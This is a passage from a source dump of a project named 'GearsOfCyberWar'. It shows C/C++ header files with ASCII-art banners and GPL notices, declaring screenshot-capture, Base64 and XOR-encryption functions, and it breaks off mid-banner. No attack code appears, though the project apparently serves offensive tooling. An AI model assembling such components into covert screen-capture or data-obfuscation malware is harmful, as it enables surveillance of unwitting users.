▄▓▄█▄▀ ▄▄▄█▌ 11 | ▐████▓█▀ ▄▄█▓▓███▄▄ ▀▓▓████████████▓▀▄██▄▀▓██████▓▓██▓▓▓█▀▀▄▄███▓▓▄▄▄▀▀█▓████▌ 12 | ░░▌▓▓▌ ▄▒▒▓▓▓▀▀█████▄ ▀▒░▄ ███▓█▀▀ ▄▓█▌▐▒█▄▀▀▀█▓█████▓▓▀ ▄█████▀▀▓▓▓▒▒▄ ▐▓▓▐░░ 13 | ▐▒▒█▌ ▐░▓▓██▌ ▀▀█▓█▓▄▄▄ ▀█▀▀ ▄▒▓██▀▀ ▀▀██▓▓▄ ▀▀█▀ ▄▄▄▓█▓█▀ ▀ ▐██▓▓░▌ ▐█▒▒▌ 14 | ▀▓█ ░▒▓███ ▄█▀▀▀▀▀▀▀█▓ ▄▒▓██▀ ▄▓▄ ▀▓██▓▄ ▓█▀▀▀▀▀▀▀▄█ ███▓▒░ █▓▀ 15 | ▄█▀ ▀▒▓██▓▌ █▓ ▄▄█▓▓▄▄▄░▒▀▀ ▄▄ ▓░▒▓▓ ▄▄ ▀▀█▓▄▄▄▓▓█▄▄ ▓ █ ▐▓██▓▒▀ ▀█▄ 16 | ▐▓▌ ▀▓█▀▀ ▄▓▓▓█▀ ▄▀▀ ▄▄▀▀ ▀▀▀ ▀▀▄▄ ▀▀▄ ▀█▓▓▓▄▄ ▀▀█▓▀ ▐▓▌ 17 | ██ ▄▄▒█▐▒██▀ ▐▌ ■▀ ▄▄░▒▒▓████▓▄▄ ▀■ ▐▌ ▀██▒▌█▒▄▄ ██ 18 | ▐▒▌ ▄▓▓▓█▒▒▒▓▌ ▀▄ ▄▓▒▒▒███████████▒▓▓▄ ▄▀ ▐▓▒▒▒█▓▓▓▄ ▐▒▌ 19 | ▓▓▌ ▐▒██▀ ▐▒█▀ ▄▄▓▒▒▒▒▓███████████████▓▓▓▄ ▀█▒▌ ▀██▒▌ ▐▓▓ 20 | ▀█ ▒▒▓▌ ▒▓▌ ▄▓▒▒▒▒█░█▓██████████████████▓▓▓▓▄ ▐▓▒ ▐▓▒▒ █▀ 21 | ▄█▀▀ ▐▒█▀ ▐▓▓ ▓░░▓▒▒▓▓▓████████████████████▓▓▓▓▒▓ ▓▓▌ ▀█▒▌ ▀▀█▄ 22 | ▐▓▌ ▒▓▌ ▄▄▒█▌▄ ▐░▒▒▓▓▓▀▀ ▀█▓█████████████▓▀▀█▓▓▓▓▌ ▄▐█▒▄▄ ▐▓▒ ▐▓▌ 23 | ██ ▐▓▓ ▄▓▓▓█▒▓▌ ░▒░░▒▀ ▓▓█████████▓▀ ▀░▓▒▓▌ ▐▓▒█▓▓▓▄ ▓▓▌ ██ 24 | ▐▒▌ ▒█▐▒██▀ ▒▓ ▐░░▒█ ▓ ▀ ▐▓████████▓▌ ▀ █ ▐▓▓▓ ▓▒ ▀██▒▌█▒ ▐▒▌ 25 | ▓▓▌ ▒▒▒▓▌ ▀▒ ▀░▒▓▒▄ ▀▄▄█ █████████▓ ▐▌ ▄▀ ▄▒▓▒▌ ▒▀ ▐▓▒▒▒ ▐▓▓ 26 | ▀█ ▐▒█▀▄▄ ▀▀█▓█▄▄ ▄█▒█▓▓▓▀▓████▄▀▀ ▄█▓█▒▀ ▄▄▀█▒▌ █▀ 27 | ▄█▀▀ ▒▓▌▒▓▓▓▄ ▄░▒▓▄▄▀▓█▓████▓▀▀ ▓███▓█████▀▄▄▄ ▄▓▓▓▒▐▓▒ ▀▀█▄ 28 | ▐▓▌ ▐▓▓ ▀██▒▌ ▐░▒▒▒▓██▄███▓▀ ▀▓██▓██▀▄█▓▒▓▓▄ ▐▒██▀ ▓▓▌ ▐▓▌ 29 | ██ ▒█▒█▌ ▐▓▒▒ ░░▒▒█▓▓▓███▓▀ ▀▓████▓▓█▓█▓▓█ ▒▒▓▌ ▐█▒█▒ ██ 30 | ▐▒▌ ▐▓▓ ▒▓▌ ▀█▒▌ ▒░▒░▒░▓▓██▓▄ ▄▄▄▓▄ ▄█▒▒█▒▒▓▓▒▓▓▓▌▐▒█▀ ▐▓▒ ▓▓▌ ▐▒▌ 31 | ▓▓▌ ▒▓▌ ▒▓ ▐▓▒ ▀░░▒▒▒█████▓▄ ▄▓█████████▓██▒▒▒▒▓▓▓▒▓ ▒▓▌ ▓▒ ▐▓▒ ▐▓▓ 32 | ▀█ ▐▒█▄ ▀▒ ▓▓▌ ▀▒░▒▓███▀▀▀▀▓█▀▀▀▀▀█▀▀▀▀▓▓█▓▒▓▓▒░▀ ▐▓▓ ▒▀ ▄█▒▌ █▀ 33 | ▄█▀▀ ▒▒▓▌ ▐▄▒ ▀▀ ▄▓▓ █▄▄ ▄▀▀▀▄▄▀▄▀▀▀▄ ▀▀▀▀ ▒▄▌ ▐▓▒▒ ▀▀█▄ 34 | ▐▓▌ ▐▒██▄ ▐▒▓ ▄▄▒█▌▄ ▐▒▒▌▀▐▌▀█▌ ▀▓ ▐█▌▀▀▌▒▌ ▄▐█▒▄▄ ▓▒▌ ▄██▒▌ ▐▓▌ 35 | ██ cXc[CPH]▓▓█▒▓▌ ▄▓▓▓█▒▓▌ ▒▒▒██▄ ▄▄▀ ▄▄█▓▓█▓▒ ▐▓▒█▓▓▓ ▄▐▓▒█▓▓▓▀ ██ 36 | ▐▒▌ ▀▀▒█▌▀▐▒██▀ ▐▒▓ ▀▒▒▒████████▓█▓▄▀▀ ▓▒▌ ▀██▐▒▀▐█▒▀▀ ▐▒▌ 37 | ▓▓▌ ▐▓▓ ▒▒▒▓▌█▒▌▐▀▒ ▀░▒▒▓▓▓█▓▀▀ ▒▀▌▐▒█▐▓▒▒▒ ▓▓▌ ▐▓▓ 38 | ▄▀█ ▒▄▌▐▒█▀▓▒▄▒ ▓▓▌ ▀▀▀▀ ▐▓▓ ▒▄▒▓▀▒█▌▐▄▒ █▀▄ 39 | ▐▓▌ ▀ ▓▒▌ ▄██▒▌ ▐▒██ ▄▐▒▓ ▀ ▐▓▌ 40 | ██ ▐▓▒█▓▓▓▀ ▀▓▓█▓▒▓▌ ██ 41 | ▐▒▌ ▄▄▄▓█▀■▀▐█▒▀▀ ▀▒▀█▌▀■▀█▓▄▄▄ ▐▒▌ 42 | ▓▄▄███▓▀▀ ▀▀█▓██▄▄▓ 43 | ▄█▓▀▀ ▀▀▓█▄ 44 | █▓ ▓█ 45 | ▓▒ ▒▓ 46 | ▓ ▓ 47 | // Copyright (C) 2015 Jonathan Racicot 48 | // 49 | // This program is free software: you can redistribute it and/or modify 50 | // it under the terms of the GNU General Public License as published by 51 | // the Free Software Foundation, either version 3 of the License, or 52 | // (at your option) any later version. 53 | // 54 | // This program is distributed in the hope that it will be useful, 55 | // but WITHOUT ANY WARRANTY; without even the implied warranty of 56 | // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 57 | // GNU General Public License for more details. 58 | // 59 | // You should have received a copy of the GNU General Public License 60 | // along with this program. If not, see . 61 | // 62 | // Jonathan Racicot 63 | // infectedpacket@gmail.com 64 | // 2015-03-01 65 | // 66 | ▓ ▓ 67 | ▓▌ ▐▓ 68 | ▓█▄▄ ▄▄█▓ 69 | ▓▐▓▓█▄▄ ▄▄█▓▓▌▓ 70 | ▓ ▀█▓██▄▄▄▄ ▄▄██▄▄▄ ▄▄▄██▄▄ ▄▄▄▄██▓█▀ ▓ 71 | ▓ ▀█▓█▀████▄█▀▀▀▀▄▄▄▀▀▄ ▄▀▀▄▄▄▀▀▀▀█▄████▀█▓█▀ ▓ 72 | ▓ ▄█▓█▄████▀█▄▄▄▄▀▀▀▄▄▀ ▀▄▄▀▀▀▄▄▄▄█▀████▄█▓█▄ ▓ 73 | ▓ ▄█▓██▀▀▀▀ ▀▀██▀▀▀ ▀▀▀██▀▀ ▀▀▀▀██▓█▄ ▓ 74 | ▓▐▓▓█▀▀ ▀▀█▓▓▌▓ 75 | ▓█▀▀ ▀▀▓▓███▀▀ ▀▀███▓▓▀▀ ▀▀█▓ 76 | ▄▒▒▓▓▓▀▀█████▄ ▄█████▀▀▓▓▓▒▒▄ 77 | ░▒▓█▄▄▓▓███▄▄▀▀▀▀▀█▓ ▄▒▓██▀ ▀▓██▓▄ ▓█▀▀▀▀▀▄▄███▓▓▄▄█▓▒░ 78 | ▄█▀ ▀▄▒▒▓▓▓▀▀█████▄▓▓▄▄▄░▒▀▀ ▀▀█▓▄▄▄▓▓▄█████▀▀▓▓▓▒▒▄▀ ▀█▄ 79 | ▀▒▒▓▓▓▄▄█████▀ ▀█████▄▄▓▓▓▒▒▀ 80 | ▀▒▒▀▀▓▓███▀▀█▀ ▀█▀▀███▓▓▀▀▒▒▀ 81 | ▀▀▓▓███▀▀ ▀████▓▓▀▀ 82 | ██ ■▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄■ █▓ 83 | ▀█▓▄ NFO HEADER & LAYOUT BY CoaXCable/CoolPHay▄██▓ 84 | ▀▀▀████████████████████████████████████████▓▀▀▀ 85 | ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ 86 | */ 87 | //#include 88 | //#undef ERROR 89 | int TestScreenshot(); 90 | int SaveScreenshotToFile(const wchar_t* Filename); 91 | void CreateBMPFile(HWND hwnd, HANDLE hf, PBITMAPINFO pbi, 92 | HBITMAP hBMP, HDC hDC); 93 | 94 | //typedef void (*BitmapAction)(HBITMAP BitmapImage); -------------------------------------------------------------------------------- /GearsOfCyberWar/src/Base64.h: -------------------------------------------------------------------------------- 1 | /** 2 | █▀▀▀▀█▀▀▀▀▀██▀▀▀▀██▀▀▀▀▀▀ ▀▀▀▀▀▀▀▀▀▀▀▓▒▀▀▀▀▀▀▀▀▀▀█▓▀ ▀▀▀██▀▀▀▀▀▀▀▀▀▓▓▀▀▀▀▀▀▀▀▀▌ 3 | ▌▄██▌ ▄▓██▄ ▀▄█▓▄▐ ▄▓█▓▓▀█ ▄▓██▀▓██▓▄ ▌▄█▓█▀███▓▄ ▌▄█▓█ ▀ ▄▓██▀▓██▓▄ ▄█▓█▀███▄■ 4 | ▌▀▓█▓▐▓██▓▓█ ▐▓█▓▌▐▓███▌■ ▒▓██▌ ▓██▓▌▐▓▒█▌▄ ▓██▓▌▐▓▒█▌▐ ▒▓██▌ ▓██▓▌▓▒█▌ ▓█▓▌ 5 | ▐▓▄▄▌░▓▓█▓▐▓▌ █▓▓▌░▓▓█▓▄▄ ▓▓██▓▄▄▓█▓▓▌░▓█▓ █ ▓█▓▓▌░▓█▓ ▒ ▓▓██▓▄▄▓█▓▓▌▓█▓ ░ ▓█▓▓ 6 | ▐▓▓█▌▓▓▓█▌ █▓▐██▓▌▐▓▒▓▌ ▄ ▐░▓█▌▄ ▀▀▀ ▐▓▓▓ ▐▌ ▀▀▀ ▐▓▓▓▄▄ ▐░▓█▌▄ ▀▀▀ ▓▓▓ ░ ██▓▓ 7 | ▐▓▓▓█▐▓▒██ ██▓▓▓▌▐▓▓██ █▌▐▓▓▒▌▐ ███░▌▐▓▓▒▌▐ ███░▌▐▓▓▒▌ ▐▓▓▒▌▀ ███░▌▓▓▒▌ ███░ 8 | ▒▓▓█▌▒▓▓█▌ ▐▓█▒▒ ▒▓██▌▐█ ▒▓▓█ ▐█▓▒▒ ▒▒▓█ ▐█▓▒▒ ▒▒▓█ ▓▌▒▓▓█ ▐█▓▒▒ ▒▒▓█ ▐█▓▒▌ 9 | ▌ ▒▒░▀ ▓▒▓▀ ▀░▒▓ ▐▌ ▓▓▓▀ █ █▒▓▀▀░█▓ ▄▌ ▒▒▓▀▀░█▓ ▄▌ ▒▒▓▀▀ █▒▓▀▀░█▓ ▒▒▓▀▀░█▀ 10 | █▄ ▀ ▄▄ ▀▄▄▀■ ▀ ▀▓█▄ ▀ ▄█▓█▄ ▀ ▓▄▄▄▄▄█▀ ▄▀ ▄▄▄▄▄▄█▓▄ ▀ ▄▄█▓▄▀ ▄▓▄█▄▀ ▄▄▄█▌ 11 | ▐████▓█▀ ▄▄█▓▓███▄▄ ▀▓▓████████████▓▀▄██▄▀▓██████▓▓██▓▓▓█▀▀▄▄███▓▓▄▄▄▀▀█▓████▌ 12 | ░░▌▓▓▌ ▄▒▒▓▓▓▀▀█████▄ ▀▒░▄ ███▓█▀▀ ▄▓█▌▐▒█▄▀▀▀█▓█████▓▓▀ ▄█████▀▀▓▓▓▒▒▄ ▐▓▓▐░░ 13 | ▐▒▒█▌ ▐░▓▓██▌ ▀▀█▓█▓▄▄▄ ▀█▀▀ ▄▒▓██▀▀ ▀▀██▓▓▄ ▀▀█▀ ▄▄▄▓█▓█▀ ▀ ▐██▓▓░▌ ▐█▒▒▌ 14 | ▀▓█ ░▒▓███ ▄█▀▀▀▀▀▀▀█▓ ▄▒▓██▀ ▄▓▄ ▀▓██▓▄ ▓█▀▀▀▀▀▀▀▄█ ███▓▒░ █▓▀ 15 | ▄█▀ ▀▒▓██▓▌ █▓ ▄▄█▓▓▄▄▄░▒▀▀ ▄▄ ▓░▒▓▓ ▄▄ ▀▀█▓▄▄▄▓▓█▄▄ ▓ █ ▐▓██▓▒▀ ▀█▄ 16 | ▐▓▌ ▀▓█▀▀ ▄▓▓▓█▀ ▄▀▀ ▄▄▀▀ ▀▀▀ ▀▀▄▄ ▀▀▄ ▀█▓▓▓▄▄ ▀▀█▓▀ ▐▓▌ 17 | ██ ▄▄▒█▐▒██▀ ▐▌ ■▀ ▄▄░▒▒▓████▓▄▄ ▀■ ▐▌ ▀██▒▌█▒▄▄ ██ 18 | ▐▒▌ ▄▓▓▓█▒▒▒▓▌ ▀▄ ▄▓▒▒▒███████████▒▓▓▄ ▄▀ ▐▓▒▒▒█▓▓▓▄ ▐▒▌ 19 | ▓▓▌ ▐▒██▀ ▐▒█▀ ▄▄▓▒▒▒▒▓███████████████▓▓▓▄ ▀█▒▌ ▀██▒▌ ▐▓▓ 20 | ▀█ ▒▒▓▌ ▒▓▌ ▄▓▒▒▒▒█░█▓██████████████████▓▓▓▓▄ ▐▓▒ ▐▓▒▒ █▀ 21 | ▄█▀▀ ▐▒█▀ ▐▓▓ ▓░░▓▒▒▓▓▓████████████████████▓▓▓▓▒▓ ▓▓▌ ▀█▒▌ ▀▀█▄ 22 | ▐▓▌ ▒▓▌ ▄▄▒█▌▄ ▐░▒▒▓▓▓▀▀ ▀█▓█████████████▓▀▀█▓▓▓▓▌ ▄▐█▒▄▄ ▐▓▒ ▐▓▌ 23 | ██ ▐▓▓ ▄▓▓▓█▒▓▌ ░▒░░▒▀ ▓▓█████████▓▀ ▀░▓▒▓▌ ▐▓▒█▓▓▓▄ ▓▓▌ ██ 24 | ▐▒▌ ▒█▐▒██▀ ▒▓ ▐░░▒█ ▓ ▀ ▐▓████████▓▌ ▀ █ ▐▓▓▓ ▓▒ ▀██▒▌█▒ ▐▒▌ 25 | ▓▓▌ ▒▒▒▓▌ ▀▒ ▀░▒▓▒▄ ▀▄▄█ █████████▓ ▐▌ ▄▀ ▄▒▓▒▌ ▒▀ ▐▓▒▒▒ ▐▓▓ 26 | ▀█ ▐▒█▀▄▄ ▀▀█▓█▄▄ ▄█▒█▓▓▓▀▓████▄▀▀ ▄█▓█▒▀ ▄▄▀█▒▌ █▀ 27 | ▄█▀▀ ▒▓▌▒▓▓▓▄ ▄░▒▓▄▄▀▓█▓████▓▀▀ ▓███▓█████▀▄▄▄ ▄▓▓▓▒▐▓▒ ▀▀█▄ 28 | ▐▓▌ ▐▓▓ ▀██▒▌ ▐░▒▒▒▓██▄███▓▀ ▀▓██▓██▀▄█▓▒▓▓▄ ▐▒██▀ ▓▓▌ ▐▓▌ 29 | ██ ▒█▒█▌ ▐▓▒▒ ░░▒▒█▓▓▓███▓▀ ▀▓████▓▓█▓█▓▓█ ▒▒▓▌ ▐█▒█▒ ██ 30 | ▐▒▌ ▐▓▓ ▒▓▌ ▀█▒▌ ▒░▒░▒░▓▓██▓▄ ▄▄▄▓▄ ▄█▒▒█▒▒▓▓▒▓▓▓▌▐▒█▀ ▐▓▒ ▓▓▌ ▐▒▌ 31 | ▓▓▌ ▒▓▌ ▒▓ ▐▓▒ ▀░░▒▒▒█████▓▄ ▄▓█████████▓██▒▒▒▒▓▓▓▒▓ ▒▓▌ ▓▒ ▐▓▒ ▐▓▓ 32 | ▀█ ▐▒█▄ ▀▒ ▓▓▌ ▀▒░▒▓███▀▀▀▀▓█▀▀▀▀▀█▀▀▀▀▓▓█▓▒▓▓▒░▀ ▐▓▓ ▒▀ ▄█▒▌ █▀ 33 | ▄█▀▀ ▒▒▓▌ ▐▄▒ ▀▀ ▄▓▓ █▄▄ ▄▀▀▀▄▄▀▄▀▀▀▄ ▀▀▀▀ ▒▄▌ ▐▓▒▒ ▀▀█▄ 34 | ▐▓▌ ▐▒██▄ ▐▒▓ ▄▄▒█▌▄ ▐▒▒▌▀▐▌▀█▌ ▀▓ ▐█▌▀▀▌▒▌ ▄▐█▒▄▄ ▓▒▌ ▄██▒▌ ▐▓▌ 35 | ██ cXc[CPH]▓▓█▒▓▌ ▄▓▓▓█▒▓▌ ▒▒▒██▄ ▄▄▀ ▄▄█▓▓█▓▒ ▐▓▒█▓▓▓ ▄▐▓▒█▓▓▓▀ ██ 36 | ▐▒▌ ▀▀▒█▌▀▐▒██▀ ▐▒▓ ▀▒▒▒████████▓█▓▄▀▀ ▓▒▌ ▀██▐▒▀▐█▒▀▀ ▐▒▌ 37 | ▓▓▌ ▐▓▓ ▒▒▒▓▌█▒▌▐▀▒ ▀░▒▒▓▓▓█▓▀▀ ▒▀▌▐▒█▐▓▒▒▒ ▓▓▌ ▐▓▓ 38 | ▄▀█ ▒▄▌▐▒█▀▓▒▄▒ ▓▓▌ ▀▀▀▀ ▐▓▓ ▒▄▒▓▀▒█▌▐▄▒ █▀▄ 39 | ▐▓▌ ▀ ▓▒▌ ▄██▒▌ ▐▒██ ▄▐▒▓ ▀ ▐▓▌ 40 | ██ ▐▓▒█▓▓▓▀ ▀▓▓█▓▒▓▌ ██ 41 | ▐▒▌ ▄▄▄▓█▀■▀▐█▒▀▀ ▀▒▀█▌▀■▀█▓▄▄▄ ▐▒▌ 42 | ▓▄▄███▓▀▀ ▀▀█▓██▄▄▓ 43 | ▄█▓▀▀ ▀▀▓█▄ 44 | █▓ ▓█ 45 | ▓▒ ▒▓ 46 | ▓ ▓ 47 | // 48 | // C++ Base64 Encoder/Decoder. 49 | // Copyright (C) 2015 Jonathan Racicot 50 | // 51 | // This program is free software: you can redistribute it and/or modify 52 | // it under the terms of the GNU General Public License as published by 53 | // the Free Software Foundation, either version 3 of the License, or 54 | // (at your option) any later version. 55 | // 56 | // This program is distributed in the hope that it will be useful, 57 | // but WITHOUT ANY WARRANTY; without even the implied warranty of 58 | // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 59 | // GNU General Public License for more details. 60 | // 61 | // You should have received a copy of the GNU General Public License 62 | // along with this program. If not, see . 63 | // 64 | // Jonathan Racicot 65 | // infectedpacket@gmail.com 66 | // 2015-03-01 67 | // C++ implementation of the Base64 encoder/decoder function. 68 | 69 | ▓ ▓ 70 | ▓▌ ▐▓ 71 | ▓█▄▄ ▄▄█▓ 72 | ▓▐▓▓█▄▄ ▄▄█▓▓▌▓ 73 | ▓ ▀█▓██▄▄▄▄ ▄▄██▄▄▄ ▄▄▄██▄▄ ▄▄▄▄██▓█▀ ▓ 74 | ▓ ▀█▓█▀████▄█▀▀▀▀▄▄▄▀▀▄ ▄▀▀▄▄▄▀▀▀▀█▄████▀█▓█▀ ▓ 75 | ▓ ▄█▓█▄████▀█▄▄▄▄▀▀▀▄▄▀ ▀▄▄▀▀▀▄▄▄▄█▀████▄█▓█▄ ▓ 76 | ▓ ▄█▓██▀▀▀▀ ▀▀██▀▀▀ ▀▀▀██▀▀ ▀▀▀▀██▓█▄ ▓ 77 | ▓▐▓▓█▀▀ ▀▀█▓▓▌▓ 78 | ▓█▀▀ ▀▀▓▓███▀▀ ▀▀███▓▓▀▀ ▀▀█▓ 79 | ▄▒▒▓▓▓▀▀█████▄ ▄█████▀▀▓▓▓▒▒▄ 80 | ░▒▓█▄▄▓▓███▄▄▀▀▀▀▀█▓ ▄▒▓██▀ ▀▓██▓▄ ▓█▀▀▀▀▀▄▄███▓▓▄▄█▓▒░ 81 | ▄█▀ ▀▄▒▒▓▓▓▀▀█████▄▓▓▄▄▄░▒▀▀ ▀▀█▓▄▄▄▓▓▄█████▀▀▓▓▓▒▒▄▀ ▀█▄ 82 | ▀▒▒▓▓▓▄▄█████▀ ▀█████▄▄▓▓▓▒▒▀ 83 | ▀▒▒▀▀▓▓███▀▀█▀ ▀█▀▀███▓▓▀▀▒▒▀ 84 | ▀▀▓▓███▀▀ ▀████▓▓▀▀ 85 | ██ ■▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄■ █▓ 86 | ▀█▓▄ NFO HEADER & LAYOUT BY CoaXCable/CoolPHay▄██▓ 87 | ▀▀▀████████████████████████████████████████▓▀▀▀ 88 | ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ 89 | */ 90 | 91 | int TestBase64(); 92 | 93 | char* Base64Encode(const unsigned char* PlainData, unsigned int DataLength, const char* Alphabet, unsigned char PaddingChar); 94 | 95 | char* Base64Decode(const unsigned char* EncodedData, unsigned int EncodedDataLength, const char* Alphabet, const char PaddingChar); 96 | -------------------------------------------------------------------------------- /GearsOfCyberWar/src/XorCrypt.h: -------------------------------------------------------------------------------- 1 | 2 | /** 3 | █▀▀▀▀█▀▀▀▀▀██▀▀▀▀██▀▀▀▀▀▀ ▀▀▀▀▀▀▀▀▀▀▀▓▒▀▀▀▀▀▀▀▀▀▀█▓▀ ▀▀▀██▀▀▀▀▀▀▀▀▀▓▓▀▀▀▀▀▀▀▀▀▌ 4 | ▌▄██▌ ▄▓██▄ ▀▄█▓▄▐ ▄▓█▓▓▀█ ▄▓██▀▓██▓▄ ▌▄█▓█▀███▓▄ ▌▄█▓█ ▀ ▄▓██▀▓██▓▄ ▄█▓█▀███▄■ 5 | ▌▀▓█▓▐▓██▓▓█ ▐▓█▓▌▐▓███▌■ ▒▓██▌ ▓██▓▌▐▓▒█▌▄ ▓██▓▌▐▓▒█▌▐ ▒▓██▌ ▓██▓▌▓▒█▌ ▓█▓▌ 6 | ▐▓▄▄▌░▓▓█▓▐▓▌ █▓▓▌░▓▓█▓▄▄ ▓▓██▓▄▄▓█▓▓▌░▓█▓ █ ▓█▓▓▌░▓█▓ ▒ ▓▓██▓▄▄▓█▓▓▌▓█▓ ░ ▓█▓▓ 7 | ▐▓▓█▌▓▓▓█▌ █▓▐██▓▌▐▓▒▓▌ ▄ ▐░▓█▌▄ ▀▀▀ ▐▓▓▓ ▐▌ ▀▀▀ ▐▓▓▓▄▄ ▐░▓█▌▄ ▀▀▀ ▓▓▓ ░ ██▓▓ 8 | ▐▓▓▓█▐▓▒██ ██▓▓▓▌▐▓▓██ █▌▐▓▓▒▌▐ ███░▌▐▓▓▒▌▐ ███░▌▐▓▓▒▌ ▐▓▓▒▌▀ ███░▌▓▓▒▌ ███░ 9 | ▒▓▓█▌▒▓▓█▌ ▐▓█▒▒ ▒▓██▌▐█ ▒▓▓█ ▐█▓▒▒ ▒▒▓█ ▐█▓▒▒ ▒▒▓█ ▓▌▒▓▓█ ▐█▓▒▒ ▒▒▓█ ▐█▓▒▌ 10 | ▌ ▒▒░▀ ▓▒▓▀ ▀░▒▓ ▐▌ ▓▓▓▀ █ █▒▓▀▀░█▓ ▄▌ ▒▒▓▀▀░█▓ ▄▌ ▒▒▓▀▀ █▒▓▀▀░█▓ ▒▒▓▀▀░█▀ 11 | █▄ ▀ ▄▄ ▀▄▄▀■ ▀ ▀▓█▄ ▀ ▄█▓█▄ ▀ ▓▄▄▄▄▄█▀ ▄▀ ▄▄▄▄▄▄█▓▄ ▀ ▄▄█▓▄▀ ▄▓▄█▄▀ ▄▄▄█▌ 12 | ▐████▓█▀ ▄▄█▓▓███▄▄ ▀▓▓████████████▓▀▄██▄▀▓██████▓▓██▓▓▓█▀▀▄▄███▓▓▄▄▄▀▀█▓████▌ 13 | ░░▌▓▓▌ ▄▒▒▓▓▓▀▀█████▄ ▀▒░▄ ███▓█▀▀ ▄▓█▌▐▒█▄▀▀▀█▓█████▓▓▀ ▄█████▀▀▓▓▓▒▒▄ ▐▓▓▐░░ 14 | ▐▒▒█▌ ▐░▓▓██▌ ▀▀█▓█▓▄▄▄ ▀█▀▀ ▄▒▓██▀▀ ▀▀██▓▓▄ ▀▀█▀ ▄▄▄▓█▓█▀ ▀ ▐██▓▓░▌ ▐█▒▒▌ 15 | ▀▓█ ░▒▓███ ▄█▀▀▀▀▀▀▀█▓ ▄▒▓██▀ ▄▓▄ ▀▓██▓▄ ▓█▀▀▀▀▀▀▀▄█ ███▓▒░ █▓▀ 16 | ▄█▀ ▀▒▓██▓▌ █▓ ▄▄█▓▓▄▄▄░▒▀▀ ▄▄ ▓░▒▓▓ ▄▄ ▀▀█▓▄▄▄▓▓█▄▄ ▓ █ ▐▓██▓▒▀ ▀█▄ 17 | ▐▓▌ ▀▓█▀▀ ▄▓▓▓█▀ ▄▀▀ ▄▄▀▀ ▀▀▀ ▀▀▄▄ ▀▀▄ ▀█▓▓▓▄▄ ▀▀█▓▀ ▐▓▌ 18 | ██ ▄▄▒█▐▒██▀ ▐▌ ■▀ ▄▄░▒▒▓████▓▄▄ ▀■ ▐▌ ▀██▒▌█▒▄▄ ██ 19 | ▐▒▌ ▄▓▓▓█▒▒▒▓▌ ▀▄ ▄▓▒▒▒███████████▒▓▓▄ ▄▀ ▐▓▒▒▒█▓▓▓▄ ▐▒▌ 20 | ▓▓▌ ▐▒██▀ ▐▒█▀ ▄▄▓▒▒▒▒▓███████████████▓▓▓▄ ▀█▒▌ ▀██▒▌ ▐▓▓ 21 | ▀█ ▒▒▓▌ ▒▓▌ ▄▓▒▒▒▒█░█▓██████████████████▓▓▓▓▄ ▐▓▒ ▐▓▒▒ █▀ 22 | ▄█▀▀ ▐▒█▀ ▐▓▓ ▓░░▓▒▒▓▓▓████████████████████▓▓▓▓▒▓ ▓▓▌ ▀█▒▌ ▀▀█▄ 23 | ▐▓▌ ▒▓▌ ▄▄▒█▌▄ ▐░▒▒▓▓▓▀▀ ▀█▓█████████████▓▀▀█▓▓▓▓▌ ▄▐█▒▄▄ ▐▓▒ ▐▓▌ 24 | ██ ▐▓▓ ▄▓▓▓█▒▓▌ ░▒░░▒▀ ▓▓█████████▓▀ ▀░▓▒▓▌ ▐▓▒█▓▓▓▄ ▓▓▌ ██ 25 | ▐▒▌ ▒█▐▒██▀ ▒▓ ▐░░▒█ ▓ ▀ ▐▓████████▓▌ ▀ █ ▐▓▓▓ ▓▒ ▀██▒▌█▒ ▐▒▌ 26 | ▓▓▌ ▒▒▒▓▌ ▀▒ ▀░▒▓▒▄ ▀▄▄█ █████████▓ ▐▌ ▄▀ ▄▒▓▒▌ ▒▀ ▐▓▒▒▒ ▐▓▓ 27 | ▀█ ▐▒█▀▄▄ ▀▀█▓█▄▄ ▄█▒█▓▓▓▀▓████▄▀▀ ▄█▓█▒▀ ▄▄▀█▒▌ █▀ 28 | ▄█▀▀ ▒▓▌▒▓▓▓▄ ▄░▒▓▄▄▀▓█▓████▓▀▀ ▓███▓█████▀▄▄▄ ▄▓▓▓▒▐▓▒ ▀▀█▄ 29 | ▐▓▌ ▐▓▓ ▀██▒▌ ▐░▒▒▒▓██▄███▓▀ ▀▓██▓██▀▄█▓▒▓▓▄ ▐▒██▀ ▓▓▌ ▐▓▌ 30 | ██ ▒█▒█▌ ▐▓▒▒ ░░▒▒█▓▓▓███▓▀ ▀▓████▓▓█▓█▓▓█ ▒▒▓▌ ▐█▒█▒ ██ 31 | ▐▒▌ ▐▓▓ ▒▓▌ ▀█▒▌ ▒░▒░▒░▓▓██▓▄ ▄▄▄▓▄ ▄█▒▒█▒▒▓▓▒▓▓▓▌▐▒█▀ ▐▓▒ ▓▓▌ ▐▒▌ 32 | ▓▓▌ ▒▓▌ ▒▓ ▐▓▒ ▀░░▒▒▒█████▓▄ ▄▓█████████▓██▒▒▒▒▓▓▓▒▓ ▒▓▌ ▓▒ ▐▓▒ ▐▓▓ 33 | ▀█ ▐▒█▄ ▀▒ ▓▓▌ ▀▒░▒▓███▀▀▀▀▓█▀▀▀▀▀█▀▀▀▀▓▓█▓▒▓▓▒░▀ ▐▓▓ ▒▀ ▄█▒▌ █▀ 34 | ▄█▀▀ ▒▒▓▌ ▐▄▒ ▀▀ ▄▓▓ █▄▄ ▄▀▀▀▄▄▀▄▀▀▀▄ ▀▀▀▀ ▒▄▌ ▐▓▒▒ ▀▀█▄ 35 | ▐▓▌ ▐▒██▄ ▐▒▓ ▄▄▒█▌▄ ▐▒▒▌▀▐▌▀█▌ ▀▓ ▐█▌▀▀▌▒▌ ▄▐█▒▄▄ ▓▒▌ ▄██▒▌ ▐▓▌ 36 | ██ cXc[CPH]▓▓█▒▓▌ ▄▓▓▓█▒▓▌ ▒▒▒██▄ ▄▄▀ ▄▄█▓▓█▓▒ ▐▓▒█▓▓▓ ▄▐▓▒█▓▓▓▀ ██ 37 | ▐▒▌ ▀▀▒█▌▀▐▒██▀ ▐▒▓ ▀▒▒▒████████▓█▓▄▀▀ ▓▒▌ 